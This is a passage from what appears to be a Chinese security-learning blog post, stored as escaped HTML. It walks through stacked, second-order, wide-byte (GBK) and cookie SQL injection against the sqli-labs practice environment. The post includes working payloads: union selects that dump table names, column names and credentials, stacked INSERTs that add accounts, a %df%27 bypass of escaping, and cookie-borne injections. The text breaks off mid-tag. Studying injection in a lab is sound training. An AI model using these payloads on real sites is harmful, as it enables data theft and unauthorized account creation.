\u81ea\u52a8Y<\/p>\n<p><img loading="lazy" decoding="async" decoding=\"async\"  src=\"https:\/\/www.youvii.site\/wp-content\/themes\/lolimeow-lolimeowV13.13\/assets\/images\/loading.gif\" data-src=\"https:\/\/cdn.picui.cn\/vip\/2025\/10\/24\/68fae5f3b51c3.png\" class=\"lazy\" loading=\"lazy\" alt=\"1745926703084-809f3191-f7d9-4a2c-802f-83abb2aa2482.png\" \/><\/p>\n<p><img loading="lazy" decoding="async" decoding=\"async\"  src=\"https:\/\/www.youvii.site\/wp-content\/themes\/lolimeow-lolimeowV13.13\/assets\/images\/loading.gif\" data-src=\"https:\/\/cdn.picui.cn\/vip\/2025\/10\/24\/68fae5f59c303.png\" class=\"lazy\" loading=\"lazy\" alt=\"1745927232811-61066b02-6698-4548-8bf3-826601ee1cfe.png\" \/><\/p>\n<p><img loading="lazy" decoding="async" decoding=\"async\"  src=\"https:\/\/www.youvii.site\/wp-content\/themes\/lolimeow-lolimeowV13.13\/assets\/images\/loading.gif\" data-src=\"https:\/\/cdn.picui.cn\/vip\/2025\/10\/24\/68fae5f852edd.png\" class=\"lazy\" loading=\"lazy\" alt=\"1745930980026-bda3650d-5650-4deb-bd7e-800927988b81.png\" \/><\/p>\n<h1>\u5806\u53e0\u6ce8\u5165<\/h1>\n<p>\u5806\u53e0\u67e5\u8be2\uff1a\u53ef\u4ee5\u6267\u884c\u591a\u6761sql\u8bed\u53e5\uff0c\u8bed\u53e5\u4e4b\u95f4\u4ee5\u5206\u53f7\u9694\u5f00\uff0c\u5806\u53e0\u67e5\u8be2\u6ce8\u5165\u653b\u51fb\u662f\u5229\u7528\u8fd9\u4e2a\u7279\u70b9\uff0c\u5728\u7b2c\u4e8c\u6761\u8bed\u53e5\u4e2d\u6784\u9020\u8981\u6267\u884c\u653b\u51fb\u7684\u8bed\u53e5\uff0c\u5728mysql\u91cc\uff0cmysql_multi_query\u548cmysql_multi_query\u8fd9\u4e24\u4e2a\u51fd\u6570\u6267\u884c\u4e00\u4e2a\u6216\u591a\u4e2a\u9488\u5bf9\u6570\u636e\u7684\u67e5\u8be2\uff0c\u591a\u4e2a\u67e5\u8be2\u7528\u5206\u53f7\u8fdb\u884c\u5206\u9694\uff0c\u4f46\u662f\u5806\u53e0\u67e5\u8be2\u53ea\u80fd\u8fd4\u56de\u7b2c\u4e00\u6761\u67e5\u8be2\u4fe1\u606f\uff0c\u4e0d\u53cd\u56de\u540e\u9762\u7684\u4fe1\u606f\u3002<\/p>\n<p>select version();select database()<\/p>\n<p>\u5806\u53e0\u6ce8\u5165\u70b9\u5371\u5bb3\u5f88\u5927\uff0c\u53ef\u4ee5\u4efb\u610f\u589e\u5220\u6539\u67e5\uff0c\u4f8b\u5982\u5220\u9664\u6570\u636e\u5e93\uff0c\u4fee\u6539\u6570\u636e\u5e93\uff0c\u6dfb\u52a0\u6570\u636e\u5e93<\/p>\n<h3>\u5806\u53e0\u6ce8\u5165\u4ee3\u7801\u5206\u6790<\/h3>\n<p>sudo docker run -dt &#8211;name sqli -p 7766:80 acgpiano\/sqli-labs <\/p>\n<p><a href=\"http:\/\/sqllabs\/Less-38\/\">http:\/\/sqllabs\/Less-38\/<\/a><\/p>\n<p>\u5728\u5806\u53e0\u6ce8\u5165\u9875\u9762\u4e2d\uff0c\u7a0b\u5e8f\u83b7\u53d6get\u53c2\u6570\u7684id\uff0c\u4f7f\u7528mysqli\u7684\u65b9\u5f0f\u8fdb\u884c\u6570\u636e\u67e5\u8be2\uff0c\u5728\u6267\u884c\u8bed\u53e5\u65f6\u4f7f\u7528\u4e86mysqli_multi_query\u51fd\u6570\u5904\u7406sql\u8bed\u53e5\uff0c\u5bfc\u81f4\u5b58\u5728\u5806\u53e0\u6ce8\u5165<\/p>\n<h3>\u5806\u53e0\u6ce8\u5165\u7684\u5229\u7528<\/h3>\n<p>\u4f7f\u7528id=1&#8242; and 1=2 &#8211;+ id =1&#8242; and 1=1 &#8211;+\u786e\u5b9a\u662f\u5426\u5b58\u5728\u6ce8\u5165\uff0c\u63a5\u7740\u4f7f\u7528\u5806\u53e0\u8bed\u6cd5\u8fdb\u884c\u68c0\u6d4b<\/p>\n<p><img loading="lazy" decoding="async" decoding=\"async\"  src=\"https:\/\/www.youvii.site\/wp-content\/themes\/lolimeow-lolimeowV13.13\/assets\/images\/loading.gif\" data-src=\"https:\/\/cdn.picui.cn\/vip\/2025\/10\/24\/68fae5fae4414.png\" class=\"lazy\" loading=\"lazy\" alt=\"1745931917541-768bb379-cf32-4106-8053-75e6b0e83dae.png\" \/><\/p>\n<p>-999&#8242; union select 1,2,(select group_concat(TABLE_NAME)from information_schema.TABLES where TABLE_SCHEMA=database() limit 1)&#8211;+<\/p>\n<p><img loading="lazy" decoding="async" decoding=\"async\"  src=\"https:\/\/www.youvii.site\/wp-content\/themes\/lolimeow-lolimeowV13.13\/assets\/images\/loading.gif\" data-src=\"https:\/\/cdn.picui.cn\/vip\/2025\/10\/24\/68fae5fcc34c5.png\" class=\"lazy\" loading=\"lazy\" alt=\"1745931862074-0250c5e4-fbb7-4c1c-985c-77d140b74f84.png\" \/><\/p>\n<p>\u628a\u5e93\u91cc\u6240\u6709\u7684\u8868\u83b7\u53d6\u51fa\u6765\uff0c\u518d\u83b7\u53d6\u5b57\u6bb5<\/p>\n<p>-999&#8242; union select 1,2,(select group_concat(column_name) from information_schema.columns where TABLE_NAME=&#8217;users&#8217; limit  1) &#8212; <\/p>\n<p><img loading="lazy" decoding="async" decoding=\"async\"  src=\"https:\/\/www.youvii.site\/wp-content\/themes\/lolimeow-lolimeowV13.13\/assets\/images\/loading.gif\" data-src=\"https:\/\/cdn.picui.cn\/vip\/2025\/10\/24\/68fae5ff2d2e0.png\" class=\"lazy\" loading=\"lazy\" alt=\"1745934148812-d9da8b0c-6a25-4a56-a95e-3a2421c4e9ba.png\" \/><\/p>\n<p>1&#8242;;insert into users values(21,&#8217;yuhui&#8217;,&#8217;123456&#8242;)&#8211;+<\/p>\n<p>1&#8242;;insert into users(id,username,password) values(20,&#8217;yuhui&#8217;,&#8217;123456&#8242;)&#8211;+<\/p>\n<p><img loading="lazy" decoding="async" decoding=\"async\"  src=\"https:\/\/www.youvii.site\/wp-content\/themes\/lolimeow-lolimeowV13.13\/assets\/images\/loading.gif\" data-src=\"https:\/\/cdn.picui.cn\/vip\/2025\/10\/24\/68fae601116db.png\" class=\"lazy\" loading=\"lazy\" alt=\"1745934395415-20434f51-ffeb-475f-93ae-6f9d7af1219a.png\" \/><\/p>\n<p><img loading="lazy" decoding="async" decoding=\"async\"  src=\"https:\/\/www.youvii.site\/wp-content\/themes\/lolimeow-lolimeowV13.13\/assets\/images\/loading.gif\" data-src=\"https:\/\/cdn.picui.cn\/vip\/2025\/10\/24\/68fae6034b728.png\" class=\"lazy\" loading=\"lazy\" alt=\"1745934984411-eeec2e1b-882f-449d-94ef-1ceed334771d.png\" \/><\/p>\n<p>\u77e5\u9053\u8868\u7684\u60c5\u51b5\u4e0b\u4f7f\u7528insert into\u63d2\u5165\u8bed\u53e5\u8fdb\u884c\u589e\u52a0\u8d26\u53f7\uff0c\u5982\u679c\u662f\u7ba1\u7406\u8868\uff0c\u76f4\u63a5\u6dfb\u52a0\u7ba1\u7406\u5458\u8d26\u53f7\u5373\u53ef\u767b\u9646\u540e\u53f0<\/p>\n<p><img loading="lazy" decoding="async" decoding=\"async\"  src=\"https:\/\/www.youvii.site\/wp-content\/themes\/lolimeow-lolimeowV13.13\/assets\/images\/loading.gif\" data-src=\"https:\/\/cdn.picui.cn\/vip\/2025\/10\/24\/68fae6034b728.png\" class=\"lazy\" loading=\"lazy\" alt=\"1745935127605-f6c122d5-1131-45db-a3fc-d05809f60c23.png\" \/><\/p>\n<p>1&#8242;;insert into users values(23,(select version()),&#8217;123456&#8242;)&#8211;+<\/p>\n<h1>\u4e8c\u6b21\u6ce8\u5165<\/h1>\n<p>\u4e8c\u6b21\u6ce8\u5165\u6f0f\u6d1e\u662f\u4e00\u79cdWeb\u5e94\u7528\u7a0b\u5e8f\u4e2d\u5e7f\u6cdb\u5b58\u5728\u7684\u5b89\u5168\u6f0f\u6d1e\u5f62\u5f0f\uff0c\u76f8\u5bf9\u4e8e\u4e00\u6b21\u6ce8\u5165\u6f0f\u6d1e\u800c\u8a00\uff0c\u4e8c\u6b21\u6ce8\u5165\u6f0f\u6d1e\u66f4\u96be\u4ee5\u88ab\u53d1\u73b0\uff0c\u4f46\u662f\u5b83\u5374\u5177\u6709\u4e0e\u4e00\u6b21\u6ce8\u5165\u653b\u51fb\u6f0f\u6d1e\u76f8\u540c\u7684\u653b\u51fb\u5a01\u529b<\/p>\n<p><strong>\u4e8c\u6b21\u6ce8\u5165\u7684\u539f\u7406<\/strong><\/p>\n<p>\u5728\u7b2c\u4e00\u6b21\u8fdb\u884c\u6570\u636e\u5e93\u63d2\u5165\u6570\u636e\u7684\u65f6\u5019\uff0c\u4ec5\u4ec5\u53ea\u662f\u4f7f\u7528\u4e86addslashes \u6216\u8005\u662f\u501f\u52a9get_magic_quotes_gpc\u5bf9\u5176\u4e2d\u7684\u7279\u6b8a\u5b57\u7b26\u8fdb\u884c\u4e86\u8f6c\u4e49\uff0c\u4f46\u662faddslashes\u6709\u4e00\u4e2a\u7279\u70b9\u5c31\u662f\u867d\u7136\u53c2\u6570\u5728\u8fc7\u6ee4\u540e\u4f1a\u6dfb\u52a0<code><\/code>\u8fdb\u884c\u8f6c\u4e49\uff0c\u4f46\u662f<code><\/code>\u5e76\u4e0d\u4f1a\u63d2\u5165\u5230\u6570\u636e\u4e2d\uff0c\u5728\u5199\u5165\u6570\u636e\u5e93\u7684\u65f6\u5019\u8fd8\u662f\u4fdd\u7559\u4e86\u539f\u6765\u7684\u6570\u636e<\/p>\n<p>\u5728\u8bb2\u6570\u636e\u5b58\u5165\u5230\u6570\u636e\u5e93\u4e4b\u540e\uff0c\u5f00\u53d1\u8005\u5c31\u8ba4\u4e3a\u6570\u636e\u662f\u53ef\u4fe1\u7684\uff0c\u5728\u4e0b\u4e00\u6b21\u9700\u8981\u8fdb\u884c\u67e5\u8be2\u7684\u65f6\u5019\uff0c\u76f4\u63a5\u4ece\u6570\u636e\u5e93\u53d6\u51fa\u4e86\u810f\u6570\u636e\uff0c\u6ca1\u6709\u8fdb\u884c\u4e0b\u4e00\u6b65\u7684\u68c0\u9a8c\u548c\u5904\u7406\uff0c\u8fd9\u6837\u5c31\u4f1a\u9020\u6210SQL\u7684\u4e8c\u6b21\u6ce8\u5165\uff0c\u6bd4\u5982\u5728\u7b2c\u4e00\u6b21\u63d2\u5165\u6570\u636e\u7684\u65f6\u5019\uff0c\u6570\u636e\u4e2d\u5e26\u6709\u5355\u5f15\u53f7\uff0c\u76f4\u63a5\u63d2\u5230\u4e86\u6570\u636e\u5e93\u4e2d\uff0c\u7136\u540e\u5728\u4e0b\u4e00\u6b21\u4f7f\u7528\u4e2d\u5728\u62fc\u51d1\u7684\u8fc7\u7a0b\u4e2d\u5c31\u5f62\u6210\u4e86\u4e8c\u6b21\u6ce8\u5165<\/p>\n<p>\u4e3b\u8981\u5206\u4e3a\u4e24\u6b65\uff1a<\/p>\n<p>1\u3001\u63d2\u5165\u6076\u610f\u6570\u636e\u5e93<\/p>\n<p>:::color1<br \/>\n\u7b2c\u4e00\u6b21\u8fdb\u884c\u6570\u636e\u5e93\u63d2\u5165\u6570\u636e\u7684\u65f6\u5019\uff0c\u4ec5\u4ec5\u5bf9\u5176\u7279\u6b8a\u5b57\u7b26\u8fdb\u884c\u8f6c\u4e49\uff0c\u5728\u5199\u5165\u6570\u636e\u5e93\u70b9\u65f6\u5019\u8fd8\u662f\u4fdd\u7559\u4e86\u539f\u6765\u70b9\u6570\u636e\uff0c\u4f46\u662f\u6570\u636e\u70b9\u672c\u8eab\u5305\u542b\u6076\u610f\u5185\u5bb9<\/p>\n<p>:::<\/p>\n<p>2\u3001\u5f15\u7528\u6076\u610f\u6570\u636e<\/p>\n<p>:::color1<br \/>\n\u5728\u5c06\u6570\u636e\u5b58\u5165\u5230\u4e86\u6570\u636e\u5e93\u4e2d\u540e\uff0c\u5f00\u53d1\u8005\u5c31\u8ba4\u4e3a\u6570\u636e\u662f\u53ef\u4fe1\u7684\uff0c\u5728\u4e0b\u4e00\u6b21\u9700\u8981\u8fdb\u884c\u67e5\u8be2\u7684\u65f6\u5019\uff0c\u76f4\u63a5\u4ece\u6570\u636e\u4e2d\u53d6\u51fa\u4e86\u6076\u610f\u6570\u636e\uff0c\u6ca1\u6709\u8fdb\u884c\u8fdb\u4e00\u6b65\u7684\u6821\u9a8c\u548c\u51fa\u6765\uff0c\u8fd9\u6837\u5c31\u4f1a\u9020\u6210sql\u4e8c\u6b21\u6ce8\u5165<\/p>\n<p>:::<\/p>\n<p><img loading="lazy" decoding="async" decoding=\"async\"  src=\"https:\/\/www.youvii.site\/wp-content\/themes\/lolimeow-lolimeowV13.13\/assets\/images\/loading.gif\" data-src=\"https:\/\/cdn.picui.cn\/vip\/2025\/10\/24\/68fae6090daf6.jpeg\" class=\"lazy\" loading=\"lazy\" alt=\"\u753b\u677f\" \/><\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-plsql\">SELECT * from 'users' where user_id = '1''<\/code><\/pre>\n<p><strong>\u666e\u901a\uff1a<\/strong><\/p>\n<p>&#8216;admin&#8217;<\/p>\n<p><strong>\u5f00gpc\uff0cadd\u8f6c\u4e49\u51fd\u6570\uff08\u4e0a\u8ff0\u63d0\u5230\u7684\uff09\uff1a<\/strong><\/p>\n<p>&#8216;admin&#8217;<\/p>\n<p>\u8fd9\u91cc\u5982\u679c\u6570\u636e\u5e93\u64cd\u4f5c update<\/p>\n<p>\u90a3\u4e48\u67e5\u8be2admin\u65f6\u4f1a\u4ea7\u751f<\/p>\n<p><code>select * from users where name='admin'<\/code><\/p>\n<p>\u4f46\u82e5\u88ab\u653b\u51fb\u5219\u4f1a\u51fa\u73b0<\/p>\n<p><code>select * from users where name='&lt;font style=\"background-color:#FBDE28;\"&gt;'admin'&lt;\/font&gt;'<\/code><\/p>\n<p>\u9ad8\u4eae\u90e8\u5206\u53ef\u4ee5\u88ab\u653b\u51fb\u8005\u66ff\u6362\u4e3a\u5176\u4ed6\u6076\u610f\u4ee3\u7801\uff0c\u8fbe\u5230\u4e8c\u6b21\u6ce8\u5165\u6548\u679c<\/p>\n<h3>\u4e8c\u6b21\u6ce8\u5165\u4ee3\u7801\u5206\u6790<\/h3>\n<p>\u5728sqli-labs\u4e2d\u5b58\u5728\u4e8c\u6b21\u6ce8\u5165<\/p>\n<p><img loading="lazy" decoding="async" decoding=\"async\"  src=\"https:\/\/www.youvii.site\/wp-content\/themes\/lolimeow-lolimeowV13.13\/assets\/images\/loading.gif\" data-src=\"https:\/\/cdn.picui.cn\/vip\/2025\/10\/24\/68fae60be6af1.png\" class=\"lazy\" loading=\"lazy\" alt=\"1745941599049-b7c20d94-9c43-4675-af36-ea6ec4e36dbc.png\" \/><\/p>\n<p>mysql_real_escape_string\u51fd\u6570\u4f1a\u5c06\u7279\u6b8a\u5b57\u7b26\u8fdb\u884c\u8fc7\u6ee4 \u5982&#8217; \u7ecf\u8fc7\u8f6c\u4e49\u5c31\u6210\u4e86&#8217; \u7136\u540e\u7528insert into \u5b58\u5165\u5728\u6570\u636e\u5e93\u4e2d<\/p>\n<p>\u5728login.php\u67e5\u770b\u6e90\u7801\uff0c\u767b\u5f55\u83b7\u53d6\u7528mysql_escape_string\u5bf9\u8f93\u5165\u7684\u53c2\u6570\u8fdb\u884c\u8f6c\u4e49\uff0c\u8f6c\u4e49\u4e4b\u540e\u5728\u6570\u636e\u5e93\u4e2d\u67e5\u627e\u6307\u5b9a\u7684\u8d26\u53f7\u548c\u5bc6\u7801\u518d\u4f20\u5165\u5230session\u91cc<\/p>\n<p><img loading="lazy" decoding="async" decoding=\"async\"  src=\"https:\/\/www.youvii.site\/wp-content\/themes\/lolimeow-lolimeowV13.13\/assets\/images\/loading.gif\" data-src=\"https:\/\/cdn.picui.cn\/vip\/2025\/10\/24\/68fae60f09522.png\" class=\"lazy\" loading=\"lazy\" alt=\"1745941762201-1d1e4eb9-72e3-4897-810c-ef0bb866b655.png\" \/><\/p>\n<p>\u518d\u770bpass_change.php\u6e90\u7801<\/p>\n<p><img loading="lazy" decoding="async" decoding=\"async\"  src=\"https:\/\/www.youvii.site\/wp-content\/themes\/lolimeow-lolimeowV13.13\/assets\/images\/loading.gif\" data-src=\"https:\/\/cdn.picui.cn\/vip\/2025\/10\/24\/68fae611b821a.png\" class=\"lazy\" loading=\"lazy\" alt=\"1745941878865-36ef925e-c194-46f6-840c-489d2eb79244.png\" \/><\/p>\n<p>$_SESSION[&#8216;username&#8217;]\u590d\u5236\u7ed9$username\u65e0\u4efb\u4f55\u8fc7\u6ee4\u518d\u5e26\u5165UPDATE\u8bed\u53e5\u4e2d\u9020\u6210\u6ce8\u5165\u3002\u6574\u4e2a\u6d41\u7a0b\u5c31\u662f\u6ce8\u518c\u7528\u6237\uff0c\u66f4\u6539\u5bc6\u7801\u65f6\u4f1a\u89e6\u53d1\u6ce8\u5165\uff0c\u53ef\u4ee5\u770b\u5230\u4e8c\u6b21\u6ce8\u5165\u6bd4\u8f83\u9690\u853d\uff0c\u901a\u5e38\u53d1\u751f\u5728\u66f4\u6539\uff0c\u9700\u8981\u4e8c\u6b21\u5e26\u5165\u6570\u636e\u65f6\u63d0\u4ea4\u7684\u529f\u80fd\u91cc<\/p>\n<h3>\u9ed1\u76d2\u73af\u5883\u4e0b\u8fdb\u884c\u4e8c\u6b21\u6ce8\u5165\u6d4b\u8bd5<\/h3>\n<p>\u786e\u5b9a\u6d4b\u8bd5\u7684\u7f51\u7ad9\u662f\u5426\u8fdb\u884c\u8fc7\u6ee4\uff0c\u4e00\u822c\u60c5\u51b5\u4e0b\u7f51\u7ad9\u90fd\u4f1a\u5bf9\u8f93\u5165\u70b9\u53c2\u6570\u8fdb\u884c\u8fc7\u6ee4\uff0c\u5f90\u5a1c\u597d\u53ef\u80fd\u4f1a\u5e26\u5165\u6076\u610f\u6570\u636e\u4e8c\u6b21\u4f7f\u7528\u7684\u5730\u65b9\uff0c\u4f8b\u5982\u7528\u6237\u6ce8\u518c-&gt;\u4fee\u6539\u5bc6\u7801 \u90ae\u7bb1\u6ce8\u518c-&gt;\u4fee\u6539\u5bc6\u7801\uff0c<\/p>\n<p>\u4e8c\u6b21\u6ce8\u5165\u6d4b\u8bd5SQL\u6ce8\u5165\uff0c\u591a\u6570\u662f\u5b57\u7b26\u578b\u6ce8\u5165\uff0c\u6ce8\u610f\u95ed\u5408\u95ee\u9898\uff0c\u5148\u6ce8\u518c\u7528\u6237a&#8217; \u518d\u5206\u522b\u6ce8\u518c\u7528\u6237a&#8217; and 1=1# a&#8217; and 1=2# \u518d\u6765\u53ef\u80fd\u89e6\u53d1\u7684\u5730\u65b9<\/p>\n<h1>\u5bbd\u5b57\u8282\u6ce8\u5165<\/h1>\n<p>\u5bbd\u5b57\u8282\u6ce8\u5165 \u5728SQL\u8fdb\u884c\u9632\u6ce8\u5165\u70b9\u65f6\u5019,\u4e00\u822c\u4f1a\u5f00\u542fgpc\u7b49\u8fc7\u6ee4\u5b57\u7b26,\u4e00\u822c\u60c5\u51b5\u4e0b\u5f00\u542fgpc\u662f\u53ef\u4ee5\u9632\u5fa1\u5f88\u591a\u5b57\u7b26\u4e32\u578b\u7684\u6ce8\u5165,\u4f46\u662f\u5982\u679c\u6570\u636e\u5e93\u7f16\u7801\u4e0d\u5bf9\u4e5f\u53ef\u4ee5\u5bfc\u81f4SQL\u7ed5\u8fc7\u8fbe\u5230\u6ce8\u5165\u70b9\u76ee\u7684\uff0c\u5982\u679c\u6570\u636e\u5e93\u8bbe\u7f6e\u5bbd\u5b57\u8282\u5b57\u7b26\u96c6 gbk\u4f1a\u5bfc\u81f4\u5bbd\u5b57\u8282\u6ce8\u5165\uff0c\u4ece\u800c\u9003\u9038gpc<\/p>\n<p>\u524d\u63d0\u6761\u4ef6<\/p>\n<p>\u6570\u636e\u5e93\u7f16\u7801\u4e0ephp\u7f16\u7801\u8bbe\u7f6e\u4e3a\u4e0d\u540c\u70b9\u4e24\u4e2a\u7f16\u7801\u90a3\u4e48\u5c31\u6709\u53ef\u80fd\u4ea7\u751f\u5bbd\u5b57\u8282\u6ce8\u5165<\/p>\n<p>\u8981\u6709\u5bbd\u5b57\u8282\u6ce8\u5165\u6f0f\u6d1e\uff0c\u9996\u5148\u8981\u6ee1\u8db3\u6570\u636e\u5e93\u540e\u7aef\u4f7f\u7528\u53cc\/\u591a\u5b57\u8282\u89e3\u6790SQL\u8bed\u53e5\uff0c\u5176\u6b21\u8fd8\u8981\u4fdd\u8bc1\u5728\u8be5\u79cd\u5b57\u7b26\u96c6\u8303\u56f4\u4e2d\u5305\u542b\u4f4e\u5b57\u8282\u4f4d\u662f0x5c(01011100)\u7684\u5b57\u7b26\uff0c\u521d\u6b65\u7684\u6d4b\u8bd5\u7ed3\u679cBig5\u548cGBK\u5b57\u7b26\u96c6\u90fd\u6709\uff0cUTF-8\u548cGB2312\u6ca1\u6709\u8fd9\u79cd\u5b57\u7b26<\/p>\n<p>gpc\u7ed5\u8fc7\u8fc7\u7a0b\uff1a<\/p>\n<p>%df%27&#8212;-&gt;(addslashes)&#8212;-&gt;%df%5e%27&#8212;-&gt;(\u6570\u636e\u5e93GBK)&#8212;&#8211;&gt;<font style=\"color:rgb(0, 0, 0);background-color:rgb(250, 250, 250);\">\u7e17&#8217;<\/font><\/p>\n<h3>\u5bbd\u5b57\u8282\u6ce8\u5165\u4ee3\u7801\u5206\u6790<\/h3>\n<p>check_addlashes \u662f\u5c06\u7279\u6b8a\u5b57\u7b26\u8fdb\u884c\u8fc7\u6ee4\u5c06&#8217; \u53d8\u6210&#8217; <\/p>\n<p>mysql_query\u8bbe\u7f6e\u6570\u636e\u5e93\u7684\u7f16\u7801\u4e3agbk\u5c06id\u53c2\u6570\u4f20\u5165\u5230SQL\u4e2d\u5e26\u5165\u67e5\u8be2\uff0c\u4f20\u5165%df%27\u5373\u53ef\u9003\u9038gpc \u6240\u4ee5\u5b58\u5728\u5bbd\u5b57\u8282\u6ce8\u5165<\/p>\n<p><img loading="lazy" decoding="async" decoding=\"async\"  src=\"https:\/\/www.youvii.site\/wp-content\/themes\/lolimeow-lolimeowV13.13\/assets\/images\/loading.gif\" data-src=\"https:\/\/cdn.picui.cn\/vip\/2025\/10\/24\/68fae614e733f.png\" class=\"lazy\" loading=\"lazy\" alt=\"1745978592021-86c6a77a-8358-4e01-8e06-76cc1ed55d4e.png\" \/><\/p>\n<p>%df%27%20union%20select%201,user(),version()%23<\/p>\n<p><img loading="lazy" decoding="async" decoding=\"async\"  src=\"https:\/\/www.youvii.site\/wp-content\/themes\/lolimeow-lolimeowV13.13\/assets\/images\/loading.gif\" data-src=\"https:\/\/cdn.picui.cn\/vip\/2025\/10\/24\/68fae61745d75.png\" class=\"lazy\" loading=\"lazy\" alt=\"1745980033450-001bf792-fa3a-4de3-8a31-911784484684.png\" \/><\/p>\n<h1>Cookie\u6ce8\u5165<\/h1>\n<p>Cookie\u6ce8\u5165\u4e0eGET\u3001POST\u6ce8\u5165\u533a\u522b\u4e0d\u5927\uff0c\u53ea\u662f\u4f20\u9012\u65b9\u5f0f\u4e0d\u4e00\u6837\uff0cGET\u518durl\u4f20\u9012\u53c2\u6570\u3001POST\u5728POST\u6b63\u6587\u4f20\u9012\u53c2\u6570\u548c\u503c\uff0cCOOKIE\u5728cookie\u5934\u4f20\u503c<\/p>\n<p>get\u5728url\u680f \u5373\u4f7f\u63d0\u4ea4\u5230\u65b9\u6cd5\u662fpost \u53ea\u8981\u5728url\u680f\u4e0a\u90fd\u53ef\u4ee5\u4f20\u9012get<\/p>\n<p>post\u5728\u6b63\u6587\u91cc\uff0c\u63d0\u4ea4\u5230\u65b9\u6cd5\u5fc5\u987b\u5b58\u5728post<\/p>\n<p>cookie\u6709\u6ca1\u6709post\u90fd\u53ef<\/p>\n<h3>cookie\u6ce8\u5165\u4ee3\u7801\u5206\u6790<\/h3>\n<p>\u5728less20\u4e2d\u5224\u65ad\u662f\u5426\u63d0\u4ea4submit \u5982\u679c\u5b58\u5728$cookee=$_COOKIE[&#8216;UNAME&#8217;]\u83b7\u53d6\u503c\u4fdd\u5b58\u5230$cookee\u518d\u62fc\u63a5\u5230sql\u5e26\u5165\u67e5\u8be2\uff0c\u9020\u6210\u6ce8\u5165<\/p>\n<p><img loading="lazy" decoding="async" decoding=\"async\"  src=\"https:\/\/www.youvii.site\/wp-content\/themes\/lolimeow-lolimeowV13.13\/assets\/images\/loading.gif\" data-src=\"https:\/\/cdn.picui.cn\/vip\/2025\/10\/24\/68fae6197e591.png\" class=\"lazy\" loading=\"lazy\" alt=\"1745984662800-bc94e724-b2e9-4ae6-9dc1-36b3c6b68ba8.png\" \/><\/p>\n<h3>\u9ed1\u76d2\u73af\u5883\u4e0bcookie\u6ce8\u5165<\/h3>\n<p>cookie\u529f\u80fd\u591a\u6570\u7528\u4e8e\u5546\u57ce\u8d2d\u7269\u8f66\uff0c\u6216\u8005\u7528\u6237\u767b\u5f55\u9a8c\u8bc1\uff0c\u53ef\u4ee5\u5bf9\u8fd9\u4e9b\u529f\u80fd\u6a21\u5757\u8fdb\u884c\u6d4b\u8bd5\uff0c\u6293\u53d6cookie\u5305\u8fdb\u884c\u5b89\u5168\u6d4b\u8bd5<\/p>\n<p>\u7528cookie\u63d0\u4ea4\u653b\u51fb\u8f93\u5165\u653b\u51fb\u8bed\u53e5\u8fdb\u884c\u68c0\u6d4b\u662f\u5426\u5b58\u5728SQL\u6ce8\u5165<\/p>\n<p>uname=admin&#8217;+and+1%3d1&#8211;+ uname=admin&#8217;+and+1%3d2&#8211;+\u8fdb\u884c\u68c0\u6d4b<\/p>\n<p>\u6293\u5305\u653e\u5165Repeater<\/p>\n<p><img loading="lazy" decoding="async" decoding=\"async\"  src=\"https:\/\/www.youvii.site\/wp-content\/themes\/lolimeow-lolimeowV13.13\/assets\/images\/loading.gif\" data-src=\"https:\/\/cdn.picui.cn\/vip\/2025\/10\/24\/68fae61c9135b.png\" class=\"lazy\" loading=\"lazy\" alt=\"1745985376968-cd8ccb6f-32d3-4d29-85a0-83884c451466.png\" \/><\/p>\n<p>\u6dfb\u52a0cookie\u503c<\/p>\n<p><img loading="lazy" decoding="async" decoding=\"async\"  src=\"https:\/\/www.youvii.site\/wp-content\/themes\/lolimeow-lolimeowV13.13\/assets\/images\/loading.gif\" data-src=\"https:\/\/cdn.picui.cn\/vip\/2025\/10\/24\/68fae61f267f3.png\" class=\"lazy\" loading=\"lazy\" alt=\"1745985449088-7a6062c5-8e5f-4b91-9182-0ac9bd8886e5.png\" \/><\/p>\n<p><img loading="lazy" decoding="async" decoding=\"async\"  src=\"https:\/\/www.youvii.site\/wp-content\/themes\/lolimeow-lolimeowV13.13\/assets\/images\/loading.gif\" data-src=\"https:\/\/cdn.picui.cn\/vip\/2025\/10\/24\/68fae6214ed97.png\" class=\"lazy\" loading=\"lazy\" alt=\"1745985586840-2ecce657-f9d3-4b5e-afbc-22df39b9ec14.png\" \/><\/p>\n<p>\u4ea7\u751fYour Cookie is deleted\u9700\u8981\u5220\u9664\u539f\u5148\u7684submit<\/p>\n<p><img loading="lazy" decoding="async" decoding=\"async\"  src=\"https:\/\/www.youvii.site\/wp-content\/themes\/lolimeow-lolimeowV13.13\/assets\/images\/loading.gif\" data-src=\"https:\/\/cdn.picui.cn\/vip\/2025\/10\/24\/68fae623d1988.png\" class=\"lazy\" loading=\"lazy\" alt=\"1745985746747-c900f871-a838-44b2-b4a2-9f75b85f6fae.png\" \/><\/p>\n<p><img loading="lazy" decoding="async" decoding=\"async\"  src=\"https:\/\/www.youvii.site\/wp-content\/themes\/lolimeow-lolimeowV13.13\/assets\/images\/loading.gif\" data-src=\".\/img\/mKd0RpPC9OZnEfJe\/1745985728102-07e812c7-8bd4-40e5-9e23-a8929d444d7d-297951.png\" class=\"lazy\" loading=\"lazy\" alt=\"1745985728102-07e812c7-8bd4-40e5-9e23-a8929d444d7d.png\" \/><img loading="lazy" decoding="async" decoding=\"async\"  src=\"https:\/\/www.youvii.site\/wp-content\/themes\/lolimeow-lolimeowV13.13\/assets\/images\/loading.gif\" data-src=\"https:\/\/cdn.picui.cn\/vip\/2025\/10\/24\/68fae6264256e.png\" class=\"lazy\" loading=\"lazy\" alt=\"1745985803592-1048850f-399b-416a-9972-a65560f5ee07.png\" \/><\/p>\n<p>\u8fd9\u8fb9\u53d1\u73b01\u548c2\u90fd\u53ef\u4ee5\uff0c\u90a3\u4e48\u5224\u65ad\u5b58\u5728cookie\u6ce8\u5165<\/p>\n<p>\u4f7f\u7528\u8054\u5408\u67e5\u8be2\uff0c\u67e5\u8be2\u654f\u611f\u6570\u636e<\/p>\n<p>admin&#8217; union select 1,2,(user())&#8211; <\/p>\n<p><img loading="lazy" decoding="async" decoding=\"async\"  src=\"https:\/\/www.youvii.site\/wp-content\/themes\/lolimeow-lolimeowV13.13\/assets\/images\/loading.gif\" data-src=\"https:\/\/cdn.picui.cn\/vip\/2025\/10\/24\/68fae628be107.png\" class=\"lazy\" loading=\"lazy\" alt=\"1745986030833-e9424d85-e751-4073-be32-9bace6a79fc4.png\" \/><\/p>\n<p>admin&#8217; union select 1,2,(select concat(username,password) from users limit 1)&#8211; <\/p>\n<p><img loading="lazy" decoding="async" decoding=\"async\"  src=\"https:\/\/www.youvii.site\/wp-content\/themes\/lolimeow-lolimeowV13.13\/assets\/images\/loading.gif\" 